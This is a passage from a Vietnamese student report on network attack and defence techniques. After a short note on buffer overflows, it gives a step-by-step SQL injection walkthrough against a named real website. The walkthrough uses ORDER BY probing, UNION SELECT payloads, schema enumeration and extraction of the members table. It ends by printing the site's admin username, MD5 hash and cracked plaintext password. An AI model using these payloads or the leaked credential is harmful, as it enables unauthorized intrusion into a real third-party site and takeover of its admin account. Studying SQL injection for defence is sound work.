Tràn bộ đệm (Over Buffer)

Một phần của tài liệu Nghiên cứu các kỷ thuật tấn công và phòng thủ hệ thống mạng (Trang 32 - 42)

Tràn bộ đệm là một tình trạng xảy ra khi dữ liệu được gởi quá nhiều so với khả năng xử lý của hệ thống hay CPU. Nếu hacker khai thác tình trạng tràn bộ đệm này thì họ có thể làm cho hệ thống bị tê liệt hoặc làm cho hệ thống mất khả năng kiểm soát.

Để khai thác được việc này, hacker cần biết kiến thức về tổ chức bộ nhớ, stack, các lệnh gọi hàm. Shellcode.

Khi hacker khai thác lỗi tràn bộ đệm trên một hệ thống, họ có thể đoạt quyền root trên hệ thống đó. Đối với nhà quản trị, tránh việc tràn bộ đệm không mấy khó khăn, họ chỉ cần tạo các chương trình an toàn ngay từ khi thiết kế.

CHƯƠNG III: DEMO SQL Injection

1. Trang web tấn công.

http://www.beemabuild.co.uk

2. Các bước tấn công:

B1. Truy cập theo link dưới để vào phần lổ hổng SQL Injection của

trang web (ở đây là tại Product)

B2.order by

Order by được sử dụng để làm gì : -Làm tiết kiệm thời gian attack.

-Nó được sử dụng để tính số field ,column có trong CSDL SQL

Bắt đầu tiến hành ORDER BY từ 1 và tăng dần.

http://www.beemabuild.co.uk/view_product.php?id=217 order by 1—

http://www.beemabuild.co.uk/view_product.php?id=217 order by 2—

http://www.beemabuild.co.uk/view_product.php?id=217 order by 3—

Khi ta ORDER BY 4 thì web bắt đầu hiện lỗi “Unknown column '4' in 'order clause'”:

http://www.beemabuild.co.uk/view_product.php?id=217 order by 4—

 CSDL có 3 trường.

B3.Tìm kiếm trường bị lỗi:

http://www.beemabuild.co.uk/view_product.php?id=217 union SELECT 1,2,3 —

Truy cập vào link trên trang web hiện lên không có gì thay đổi nhưng thực chất trường bị lỗi đã được tìm thấy nhưng ở trang web này ta không thể thấy được trường bị lỗi đó. Và ta làm như sau: Right click vào cái hình không hiển thị được ở trang Web chọn “lưu hình ảnh thành”

Sau khi click ta quan sát tại ô File name ta thấy tên 3.htm đó chính là trường bị lỗi 3 (hình dưới)

kết quả thu dc bằng 3 vậy trường bị lỗi là số 3.

B4.Xem phiên bản của database

Ta thực hiện truy vấn bên dưới:

http://www.beemabuild.co.uk/view_product.php?id=217 union SELECT 1,2,@@version--

Cũng như trên ta chọn “lưu hình ảnh thành” như b3. Ta thu được kết quả 5.5.31-log

Ta đã xác định được là phiên bản lớn hơn 5 ta tiến hành theo các bước dưới( nếu phiên bản 4<version<5 thì dùng CSDL MsAccess-Hack Đoán)

http://www.beemabuild.co.uk/view_product.php?id=217 Union Select 1,2,table_name From Information_schema.tables --

nó sẽ trả về giá trị đầu tiên là: CHARACTER_SETS, để gộp tất cả các table lại cho dễ tìm kiếm thì các bạn dùng hàm Group_concat() Hoặc limit

B5. Tìm tất cả các table trong CSDL ở đây một số trang web sẽ hiện rất

nhiều table (vì nó còn có cả table của hệ thống) nhưng cái ta cần quan tâm là trường chứa các tài khoản của user.

Thực hiện truy vấn:

http://www.beemabuild.co.uk/view_product.php?id=217 Union Select 1,2,group_concat(table_name) From Information_schema.tables where table_schema=database()--

Ta thu được kết quả:

beemabuild_models,beemabuild_pages,beemabuild_products,members

cái ta quan tâm là table members chắc chắn table này chứa tài khoàn admin và các user rồi.

B6. Thực hiện truy vấn dưới tìm các column trong table Members.

http://www.beemabuild.co.uk/view_product.php?id=217 Union Select 1,2,group_concat(column_name) From Information_schema.columns where table_name=(0x6d656d62657273)--

-Dòng 0x6d656d62657273 là số hex của Member (vào trang web www.string- functions.com để chuyển từ string sang hex)

Ta thu được các trường ( cái ta cần quan tâm ở đây là trường Login và Passwd)

member_id,firstname,lastname,login,passwd

B7. Bắt đầu tiến hành tìm tài khoản admin và password.

Thực hiện truy vấn

http://www.beemabuild.co.uk/view_product.php?id=217 Union Select 1,2,concat(login,0x2f,passwd) From members--

ký tự 0x2f là mã hex của dấu / dùng để phân tách tên tài khoan và pass. Ta được hình dưới:

Giờ ta không thể dùng lưu hình ảnh được ta phải right click chọn xem phần tử như trong hình và thu được tài khoản có user name là Admin chuoi pass là 505be7e39328a96ccf09e6ebbf94b83e phân tách nhau bởi dấu “/ “

(Admin/505be7e39328a96ccf09e6ebbf94b83e)

Ta thấy chuỗi pass trên được mã hóa bằng MD5(thường là vậy) Ta truy cập vào trang web www.md5.noisette.ch/index.php

Để dịch pass và kết quả thu được là pass: 005zavBQL

Một phần của tài liệu Nghiên cứu các kỷ thuật tấn công và phòng thủ hệ thống mạng (Trang 32 - 42)

Tải bản đầy đủ (DOCX)

(42 trang)
w